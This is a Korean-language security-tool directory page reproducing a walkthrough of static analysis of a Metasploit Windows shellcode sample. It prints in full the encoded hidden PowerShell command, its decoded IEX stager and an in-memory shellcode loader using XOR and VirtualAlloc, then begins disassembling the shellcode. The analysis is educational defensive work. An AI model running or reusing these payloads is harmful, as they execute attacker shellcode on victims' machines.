Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
msf_shellcode_analysis — Metasploit Windows 셸코드 정적 분석 워크스루: PowerShell 페이로드 디코딩, XOR 난독화, PEB 워킹, Export Address Table 해석. | Kitploit
도구/GitHubGitHub/yo-yo-yo-jbo/msf_shellcode_analysis
Static AnalysisReverse EngineeringShellcodeMalware AnalysisBinary AnalysisLearning & Education
GitHubyo-yo-yo-jbo/msf_shellcode_analysis

msf_shellcode_analysis

Metasploit Windows 셸코드 정적 분석 워크스루: PowerShell 페이로드 디코딩, XOR 난독화, PEB 워킹, Export Address Table 해석.

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기
2831개월 전Kitploit 검토 완료

Metasploit 셸코드의 정적 분석

첫 블로그 포스트로, 흔히 쓰이는 Metasploit 셸코드를 분석해 보는 게 좋겠습니다. 인코딩, PEB, Windows 셸코드, Export Address Table과 같은 주제를 다루기에 아주 좋은 기회입니다.

시작하기

가로챈 긴 명령줄부터 시작합니다.```powershell "powershell.exe" -nop -w hidden -encodedcommand JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIASAA0AHMASQBBAEEAQQBBAEEAQQBBAEEAQQBLADEAWABXADIALwBpAFMAQgBaACsARAByAC8AQwBEADUARQBBAFEAWQBpAE4AQwBZAEYAZQB0AFQAVAA0AGgAawAzAEEARQBHAHkAdQBtAFMAZwBxADcAQQBJAE0AdgB1AEIAeQBHAFQARABUAC8AZAAvAG4AMgBFAEEAbQB2AFoAMwBlAGIAVwBrAFgAeQBhAEsAcQBmAEsANwBmAHUAZABTAHgAZwBlAG0AZABRAFkAbABqADAAVgA1AGcAWQArAFoAdQBqAEUAbgBrAEIARAA1AFQAegBlAFYAdQBwAFUAQwBqAHoARgBmAG0AagAzAHgAdQBHAGYAcwBXAFQAWQAvAFQAeABkAHMASwAwADcAYwBkAEMAYQB3ADMAWgBOAHMARQBSAHgASAB6AFYAKwA1AG0AZwBBAGoAeQBtAE0ATAB0AEgAcABFADMATAA3AEIAagBGADUAZQBaAGIASgBNAFMAWQBqAHMAbQB1AEgAaAB6AGsANwB2AEoAagBtAEkALwBRAGsAdgA4ADUAaQBQAHEANwBQAEcAYgBoACsAawA2AHMAQwBOAFEAVgBIAGgAcAA3AFgAWgBTADQAQwBIAEgAZgAvADMAeQBSAFkAdwBKAHcAVAA0ADkANwB5AHQAdABUAEYAdABSAGgATAAyAEYANgArAEMAbwBVAEcAUwArAE0AWgBNADEASgB2AGkAdQB2ADkAaABnAGkAegBKAC8ATQBiAGQAdgBsAGIAWQBiAEwASgBCADcASQBVAHQARQBaAEsAMwBCAG8AWgBaAHYAcAArACsANgBnAFkAVgBTAEQAeQByAEcAegBuAFYAbwBJAGYALwBuAG4ALwBuAGkAeQB4ADMAMwBXAHAASABEAEcATABsAFIASQBXADgAawBFAGMAVgBlAHgAWABiAGQAZgBKAEgANQBYAGsAdwBWAG0AcwBrAE8ARgAvAEkAOQB4AHkASgBCAEYAQwB4AHAAWgBlAEwANABmAEwAVQB5AHkAcQB6AFgATQArAE4ANwBaADkAdgB6AHgAWQB0AG4AcQB4ADAAQwBQADMANwB0AFoAQwByADEAegBGAFAASQB3ADMASQBBADIATABUAE8ARwBPAGIATAB6AEUAdQBxADcAKwBYADEAbABmAG4AagAzAFoAcABoADcARgBQAEgAdwB4AFgATgBwADUAZwBFAE8AdwBPAFQAdgBXAFAAaABxAEsASQBpADMAMwBiAHgARQBDACsAQgBMAFIAOQBCACsAUAB4AFYAdgBnAGgARwBFAEUAeABqADQAagBOAFgAVwA0AEIAdgBIADIAeAB4ADQAZABhAFAAWABiAGMATQBjAGwAOQArAFYAKwA1AHIAUQBjAGUASABLADcAaQAvAHkAMQBUADQAeQBBAFIAVQBBADAAcQBLADUAVQB0AE8ALwBBADQAYwB2AFMAeAB2AHoAdQBMAEEAbgBaACsAcwAvADUAQgBjAFIAZgBqADkAbABHAEQARgAzAFAAZgBjAEoANgBsAHEAWQB4AGUAdgBFAE0AVgB2AEYAUABEADkAawBLAHUANQBtADUAdQBYAGIASQBuAEIAbgA4AEkAZwBpAEoAeQBNADcAeQB2AEQAbABwAGsAZQBHAEkARgBvAFEASgBJADAAbgBDAGEASgBjAGYASAAxAG4ALwBpAGMAMQBWADQANQBvAC8ASQB2AEIAWABGAFgAcgBnAHYAUABPAFQAeABuAE8ANwA0AHkATAArAFAAQQBzAFYAOQB6AE4AOABYAGMASgBYAHYAUwA4ADcAZABGADcATABnADIASgB1AG4ANwBYADEAZQBEAGgASgBlAE8AagA2AFgARQBSADUANQBqAFgAUgBPACsAOABGAG4ATQA4AE4ATABGAEcAUgA2AFYASwA1AGsATwBkAGgAYgB5AGwAeABmAFkAbABpADcAbwA1AEYATgBBAFgAMwA1AG0AawB6ADIASAB2AHYATQBLAFoAKwBOAGEARgBzAFEAOQBBAHEAcwBnAEoAWQBvAC8ARwBuAE8ATwBZAFMARwB2ACsAVAAzAHMAQQBYADcAbgBQAGEAVABwADcAUgBMAEsARABGACsAcABMADYAVwBWAFgATABXAG4AKwB6AFMAWABSAFIAZABGAFUAWgBrAFoAeABGAEQAbgBWAHAAawB4AE0ASABLAHgAWABXAFoAYQBmAHUAUgBjAFgAcgBWAGkARwBtAFQATAAvAEQALwBtADkAbQBLAFgATwBoAGEASwA2AEYAWABjAGEALwBFAFQAUwBDACsAcQB4AGMAQwBIAGkAbwBrAHQAaQBDADcAQQBZAEIAbwA3AGIARABuAEkAVABWAEUAcABNADYAcABqAFkAeQBFAHgAbgBOAFgAVgBoAFAAeQBuAG0ASQBqAEkAZABhAEgAawBRAE4ASQBlAFkAZwBJAG4ASwBSAFkARwBUAFgATwBHADIATwBWAC8AegA0ADkAaQB4AGMAQgBVADgAMwBZAHUAOQBvAEEANgA2ADAASwBLAGkAMQBiAFEAYwB5ADQAVgBsAGEAVQBiAFcAbQBFADcALwB4AC8ATQB2AHQAYgBKAHUAUwBoAFMAcgBLADQAZwBmAFQAQQBhAEUAcwBCAHcAQQAxAHAAbQB4AGcANgBoADAATgBmAHkANQBaADgAUwA3ADMAOAB6ADcAOABjAFcAOAA0AE8AWgBJAHMARwBYAFEAQgBhAHkAUQBuAHcAUgBFAHAAcQBXAFMAMABaAHAAcABaAGYATAAxADMAYwBzAE0AKwBRAEkAQgBkAFEAVQBFAG4AZwBDAGkAbgBDADkAWgBtAFIAdAByAEoARABuAEcAMwBHAG8ASgBiADMATgBjADUAMgAwADUAYgAyAGkAaABxAHAAcwB3AHIATwBIAGgAdwA4AFYAdQBkAHYAdABEAEgAZgBDAHMARwB2AEoAYwBYACsAZwBzAHAAMgBsADkAdAB5AFEAYQB2AEUAaAAxAG0ASgBUAFkASABtAEYAQgBiAHAAVAAyAEoAYQBYADIAcgA0AGYAegBMAGoAWQBxADMASAAyAFQAdAB2AHIAYwBCAFkAOQBoAG0AbwBrAGEAWAB1AHAAcABWAGIARABRAEsAbQB2AG4ATwBaAEYAegBwAG4ALwBlAFgASABnAEYAbABOAE4AZQBWAHkAMABsAFoAbwA2AGoAcABTAFUAWAB0AFgAMgBnAGgASwBLAHoAUQBEAFcAOQA5AHAAZQBEAEQAcgBBADEANgBqAHYAZgBPAEYAZwAxADcARABjAHEAZQBOAHAAMQB6AHIAdwB0AEkASABSADYAcABnADgAagBVAHMARwB5ADcAWABIAGkAZAA0AGQAeQB6AHYAZAA4AE8AMwB1AGcAbgB0AFcATwB2AHEAcABtAG8AQgBQADQASgBmAEIAcQAwAFAAVwBoAHMAYwA0AHUAdAB3AGsATQBLADEAbQBGAEsAcQBwAHYAMQBqAG8AaABwAGIAZgA2AFcAaABxAEoAegBFAGUAVgBvADYAVwA2AEEAZQBMAHAAVwB4AEkAVABpADQALwBtAEoAKwBTAHMAQQBIADgAZQBnADAAdwBPAFIAcABKAGIAMQBpAHIAMgAwAGQAcgBxAGgAeQBzAHEAZAA1AE4AMQBKAG4AZQBCAGgAMQBoAFAARgBuAFYAVgBMADAAYgBIAEYAcwBiAHIAVQA0AGsAdwA3AEIAUABoAG4AbgBrAEQARwA3AHUANwB0AEgAVQBhAHYAcQBIAFQATAA5AGgASAB3AC8AMgBLAE8AcAAzAFQARAByAGoAQgA4AGkAcgBKAFkAbABmAE4ANwBTAE4AZAB1AHgAYQBPAHoAcQBlAGQAdQBvAEUASgBlAEsAdQA2ACsAQwBGAHMASwBTAHAAMwBFADUAMwB2AHUAbwAwAFoAVgBqAEwAOQBNAGcAYQB4AGoAQwB4AFEAYQArAHIAbQB0AEkAVAA2AFAAWABGAFgAZwA5ADgAUQBBAC8ASwBiAEkAdgA1AHcAZABOAEUAUAAxAG0AOAAwAEwAVQBTAG8AbwBFAGYAZwA2AGUANgBBADcASQBiAHQATQBmAEQAdQBhAFIAMgBUAE8AegBKAG0ALwBWAGsAdwBYAGIAdgA1ADQANwBxAGoAbwBWAG8ANQBVADMAQgAxAHIAMwBDAEMAcQBqAFoAZgA4AFMAcwBsAGcAagBTAGIATwA2AGIAcABjADcAagBWAGoAZQA1AFcAVwAwAHAAegBzAGEAVwA0AE8AcwB6AGkAUwBUAHgANQBtAEIAVwBSADgAWQB6AEkAYQBFADQAOAA1AHQAMgBTAFYAcgAzAEgAUABOAFEANQBZAGoAcwBEAFoAUwBxAFcATABJADIAVQBwADgAZgBpAEgAcAAxAEoATQArAEgAawB0AGUAUgBoADEAdAB1ADIAbgA3AFcAWQAyAE0AcgBEAEUAMQBGADYAQQAzAEgAVgBuACsAbQBLAEcAagBFADIAYgAyAFoAcgA0AGUAUwBNAE4ASgBsAHAANwBiAFQANgBqAFMAYQArAEYANQBIADIAbABSAFgAdwBpAEgAdwB4AEoAcABMAEgAKwBlAGMAZABQAEsAawBSAGYAdQBoAFcAVwBWADcALwB0AHAAQgBhAHUAZwAxAGgAdwB2AFAAVgA3AGwAQgBzAGcANwBrAGIAYgBjACsAbgBvAHgASABiAHQAUwBVADEAcAB6AFgAdQBwAGYAbABoAGoAbwBYAEoAcQB2ADcASgBoAEcATgBoAEgAOABvAEwAVgBsAFIAbwBNAE8ASgB2AHkARwBHAGYASQBqAHEALwBuAHIAZQBxADYARgBtAGoAVABYAEcATQBlAEkAZQAyAGcAbwBWAGsAMQBEAFgANQB1AHQAawBMAFkALwBOAG0AUwBWAHQAYQBKAHUAcQA0ADYAUABxAEsAZQB6AGoAWQB5AGYAdQBxAEUASQBzADkAMABmAG0ASwB2AFQAawBiAGQAUQBZADcATABnAGgASwBkAFUANAAzADYAYgByAEoARQBtAFEAZABOAFQAWAB6ADkAUABKAG8AZQBGADEAVABuAFMARABxADAATABvADAAdABPAGoATQA5AHoAegBoAHQAdAByAGoAWQBpADQAdgBQAGMAcwBQAGgAUwByADcAUAAzADgAaABIAGgAVQBHAGsAcwBQAC8AaQBDAHUARwByAHYAVgBZAC8AMQBBAEoAeQAyADcAcABEAHkATAA5AG0ASABRADMAMQBDAEwANAAwAHYAeAAwAFQAUwBmAFAAZgBYAG8AMQBMAGYAVgBKAHYAZgBVADUATQBtADQAMABWAEkAcwBhAGIASwB4AEEAOQBPAGYAaQBOADYAdwB0AFYAWgB4AEQARABuADEANQBGAEUAYQBTAGEAZgBsAGcAbgBpAG8AUABtAG4AYwBEADQAUgBHAGUAMwAyAGEASgB0AHUAQgB5AGIAdAAwAC8AUABRAFEAYwBIADEALwBLAFoAcwBMAGQAcgBpADQAZAB6AHEAQgBGAEEAbAB6AGIAVwBNADAAKwA1AFAAVgBGAEgASgB4ADYAMgA0AGcAagAwACsAUQAwADEAMQA0AE4AaABvAC8ANwBPAEsAYQBmAFQAaABDAGoAawBXAGQASQBLADIAVgBqAGIAYgBmAEoAZABZAFQAawBXADAANQAyAHIAUgBnAGIANgBuAGoAYgBtADgAeABDAFEALwAyAHEAYgBxAEwAOQBlAGsARABXAG0AMgAxAFcASQBRAGEAWAA3AFIAeABTAGUAcQBHADkATgBIAGkAWgBUAG8AWgBiAGUAZABQADUAcQBpAGwAUAA4AHYASAB2AHMAWQAvACsAUAB5ADIAOQBqAFgAdABYAHMAdQBBAHcARAB4AHkAVABPAC8ANABmAHoASAB3AGYAKwBkAFMANQByADAALwBRAFYAZQBDAGgAcABlAGUAbAAwAHIARgBkAEUANQA0AGYALwBOAHkAZQAzAHkAOQB6AG4AWAB2ACsANwB2AEYARQBhAFQAeABEADIAbQB2AHkAOQA3AHMAMABZAGMATwA5ADYAdABoAHEAWQBkAEkAdABFAFkAdQBkAEQANABZAGUASwA3AFgAbABSAEkAUQA1AFQASwAyAEQAQQBJAG4ANQBTAGcAVQBQAHAAKwAwAHQANQBqADQAMgBJAFUAcABGAE8AYgBVAGEANQBOAHYAdQBXADUAZwBwAFkAUABXAEwAeQBZAGUARwBQAHYATwB3ADkAZwByAFgARwBZAGoAVwBQAEwAVgBUADEAZABGADUAcAAwAFEAcABxAHUAegBUADQAdAA0AHUAYwB5AEcAawBZAHUASAAxADUAbgBzAFMAdgBqAGwAeQB4AHoAYwBLADMAOABBAHMAWQB2ADkARgBWADIAWABHAGYAYgBJAHMAeQB5AGIALwB0AGYAWQBZAHUANwAzAFkAUgBHAEQAWABWAEoANABGADEAZABPAGgANwBFAFAAbABuAHoAVQA1AEcAYQBhAGkAaABmADAAUwBlAHgANwArAFAAOABZAGcAQgArAFUALwBuAGQAbwBVAC8AQwB5AGUAZQA0AGQAdQBzAHkAZwB6AC8ARQBxADUAdgBKAC8ANQBIAEwAYQBrAHYAbAB3AEgAagBrAG4AKwBGAHIAQgBJAGQAUABJAGMAaQArAGkAaQBOAEMANwBUAGIAQwBBAFQANQB2AHMAcgBpADcAYwBvAGkASwBqAHkAVgBQAG0ARgBqAEgAZgBtAFQAdAB3AHIAeABYAHgAVgBmAGkAKwBJAGEAcwA0AHYAYgBpAFoAOAArAGYAYQBOACsAYQBBAG4ARABQAGoATgAyAGEASQBMAFEAegBqADkAbAAwAG4AVwBFAEMAVwBZAHAAaQAvAFUAdABHAFoAawBKAFEAWQB6AHYANABHAHMAegBBAEwASgB2ADgATgBBAEEAQQA9ACIAKQApADsASQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBTAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBHAHoAaQBwAFMAdAByAGUAYQBtACgAJABzACwAWwBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0AcAByAGUAcwBzACkAKQApAC4AUgBlAGEAZABUAG8ARQBuAGQAKAApADsA

root@kitploit:~
이것은 PowerShell [base64](https://en.wikipedia.org/wiki/Base64)로 인코딩된 명령줄입니다(`-encodedcommand` 플래그로 표시됨). 디코딩하면 다음과 같습니다:```powershell
$s=New-Object IO.MemoryStream(,[Convert]::FromBase64String("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"));
IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();

이 페이로드는 ("H4sIA..."로 시작하는 부분)에 대해 base64 디코딩을 한 번 더 수행하고 이를 메모리 스트림($s)에 저장합니다. 그런 다음 이를 압축된(gzip) 스트림으로 취급하여 압축을 해제하고 콘텐츠를(IEX로) 실행합니다. 압축 해제는 매우 쉽습니다. PowerShell, CyberChef 또는 Python을 사용하면 됩니다:```python import io, gzip, base64 x=b'H4sIAAAAAAAAAK1...' # Omitted print(gzip.GzipFile(fileobj=io.BytesIO(base64.b64decode(x[:]))).read().decode())

root@kitploit:~
출력에는 더 많은 PowerShell 명령이 포함되어 있으며, 이번에는 더 복잡한 논리가 적용되어 있습니다:```powershell
Set-StrictMode -Version 2

$DoIt = @'
function func_get_proc_address {
        Param ($var_module, $var_procedure)
        $var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
        $var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))
        return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))
}

function func_get_delegate_type {
        Param (
                [Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
                [Parameter(Position = 1)] [Type] $var_return_type = [Void]
        )

        $var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
        $var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed')
        $var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed')

        return $var_type_builder.CreateType()
}

[Byte[]]$var_code = [System.Convert]::FromBase64String('38uqIyMjQ6rGEvFHqHETqHEvqHE3qFELLJRpBRLcEuOPH0JfIQ8D4uwuIuTB03F0qHEzqGEfIvOoY1um41dpIvNzqGs7qHsDIvDAH2qoF6gi9RLcEuOP4uwuIuQbw1bXIF7bGF4HVsF7qHsHIvBFqC9oqHs/IvCoJ6gi86pnBwd4eEJ6eXLcw3t8eagxyKV+S01GVyNLVEpNSndLb1QFJNz2yyMjIyMS3HR0dHR0Sxl1WoTc9sqHIyMjeBLqcnJJIHJyS5giIyNwc0t0qrzl3PZzyq8jIyN4EvFxSyMR46dxcXFwcXNLyHYNGNz2quWg4HNLoxAjI6rDSSdzSTx1S1ZlvaXc9nwS3HR0SdxwdUsOJTtY3Pam4yyn6SIjIxLcptVXJ6rayCpLiebBftz2quJLZgJ9Etz2Etx0SSRydXNLlHTDKNz2nCMMIyMa5FYke3PKWNzc3BLcyrIiIyPK6iIjI8tM3NzcDHJTemEjhWb0L/ZiHlVBsgmXSSdvF0Ba9O7e0IyBDYZnT+J7kNT1Y4fCYVcBnNYDryujwT2USQrrqCYn9d+DhMiTw21rEmPF2C+cjDO3PCN2UEZRDmJERk1XGQNuSkBRTFBMRVcOYFFaU1dMYnNqDBUNEi4pI6tsWnmJDj2gBwomC4lt7Z1DzmDbG5920MnhiaHqm9RbmnH1PyhoEkL6VWVUls9Dh1mA/EE8HZBWg/9rCSy35+f0CBtRWnjrSEws6nhZM4a940SVua15GFtCyqNIZhyhEVTYcDjtGtHVxHmF077JuJHBuEOUTgqmEks8Pp1Rr+41ndthyyyaDxNhQXWw8mJztje2Bqltz7iRv3SlMAUrCf/mc3qC20/Zza3a+VD5nPu2Spg76wtWAd+FQCdwPOjtc13+uxTTQmHxi6k291K93rV8AFcDWjdoTnWCmRAhHeu1S1KmttsDzfbrma6W8/PB8GhzXykPT3ltVK5o1OnfETb0Rb/iJoDsBZIjS9OWgXXc9kljSyMzIyNLIyNjI3RLe4dwxtz2sJojIyMjIvpycKrEdEsjAyMjcHVLMbWqwdz2puNX5agkIuCm41bGe+DLqt7c3EtWUkZKTUANQExOI35n3k4=')

for ($x = 0; $x -lt $var_code.Count; $x++) {
        $var_code[$x] = $var_code[$x] -bxor 35
}

$var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))
$var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length)

$var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type @([IntPtr]) ([Void])))
$var_runme.Invoke([IntPtr]::Zero)
'@

If ([IntPtr]::size -eq 8) {
        start-job { param($a) IEX $a } -RunAs32 -Argument $DoIt | wait-job | Receive-Job
}
else {
        IEX $DoIt
}

하나씩 분석해 보겠습니다:

  • $DoIt 변수는 대부분의 로직을 포함합니다. func_get_proc_address라는 함수를 정의하는데, 이 함수는 kernel32!GetProcAddress에 대한 래퍼일 뿐이며, func_get_delegate_type 함수를 사용하여 리플렉티브 델리게이트를 가져옵니다.
  • $var_code 변수는 또 다른 (!) base64 페이로드이지만, 이번에는 덜 명확합니다. 단순히 디코딩하면 쓰레기가 나오기 때문입니다.
  • $var_code 변수는 값 35로 바이트 단위로 XOR됩니다. 이것은 디코딩해도 문자열이 나오지 않는 이유를 설명하지만, XOR 후에도 올바른 컨텍스트 없이는 여전히 유망해 보이지 않습니다.
  • 다음 몇 줄은 kernel32!VirtualAlloc 함수로 버퍼를 할당합니다. flAllocationType=0x3000, flProtect=0x40으로 호출되어 버퍼($var_buffer에 저장)를 할당합니다. MSDN을 확인하면 할당 유형이 MEM_COMMIT | MEM_RESERVE이고 페이지 보호가 PAGE_EXECUTEREADWRITE임을 알 수 있습니다.

이것은 base64로 인코딩된 페이로드가 32비트 셸코드로 처리되어야 함을 알려줍니다. XOR를 적용하고 바이너리 파일로 작성하여 다시 정적으로 분석해 보겠습니다:```python import base64 x=b'38uqIyMjQ6rGEvFHqHE...' # Omitted open(r'/tmp/payload.bin', 'wb').write(bytes([ i^35 for i in base64.b64decode(x) ]))

root@kitploit:~
여기서부터 재미가 시작됩니다. 좋아하는 디스어셈블러(IDA, Binary Ninja 등)를 사용할 수 있습니다.
opsec에 신경 쓰지 않는다면 훌륭한 [온라인 디스어셈블러](https://shell-storm.org/online/Online-Assembler-and-Disassembler)도 몇 가지 있습니다.
셸코드의 시작은 오프셋 0에 있으며 코드는 X86 코드로 처리해야 합니다.

## PEB 탐색
코드는 CALL 명령어로 시작합니다:```assembly
0x0000000000000000:  FC                         cld        
0x0000000000000001:  E8 89 00 00 00             call       0x8f

cld 명령은 방향 플래그를 지웁니다(그래서 movsb 같은 문자열 연산이 뒤로가 아닌 앞으로 이동합니다). 그런 다음 0x8f로 상대 호출(relative call)을 수행합니다. call은 다음 명령어를 스택에 푸시하므로, 스택에는 셸코드의 오프셋 6에 있는 주소가 푸시되었다는 점을 기억해야 합니다. 이제 오프셋 0x8f에 있는 코드를 살펴보겠습니다:```assembly 0x000000000000008f: 5D pop ebp 0x0000000000000090: 68 6E 65 74 00 push 0x74656e 0x0000000000000095: 68 77 69 6E 69 push 0x696e6977 0x000000000000009a: 54 push esp 0x000000000000009b: 68 4C 77 26 07 push 0x726774c 0x00000000000000a0: FF D5 call ebp

root@kitploit:~
주소를 저장하기 위해 `pop`을 즉시 사용하는 것은 일반적인 셸코딩 트릭입니다 (`call-pop` 시퀀스).
다음 push들은 흥미롭습니다 - 표면적으로는 이상한 상수처럼 보이지만, ANSI 문자열로 디코딩하면 흥미로운 사실이 드러납니다:```python
import struct
struct.pack('<LL', 0x696e6977, 0x74656e)

스택 푸시를 살펴보고 있으므로, 반대 순서로 추출해야 했고 Little Endian을 사용해야 합니다(코드에서 < 기호입니다). 이것은 b'wininet\x00'를 출력하는데, 이는 인터넷 통신에 사용되는 Windows DLL의 이름입니다. push esp는 스택의 최상위 주소를 푸시한다는 점에 유의하세요. 이는 wininet NUL 종료 문자열에 대한 포인터를 얻는 좋은 방법입니다. 계속해서, 우리는 또 다른 상수(0x726774c)를 푸시합니다. 이 상수는 의미 있는 것으로 디코딩되지 않으며, ebp를 호출합니다. ebp는 셸코드의 시작 부분에서 오프셋 6에 위치한 코드 조각을 가리킨다는 것을 기억하세요. 그 부분을 살펴보겠습니다!

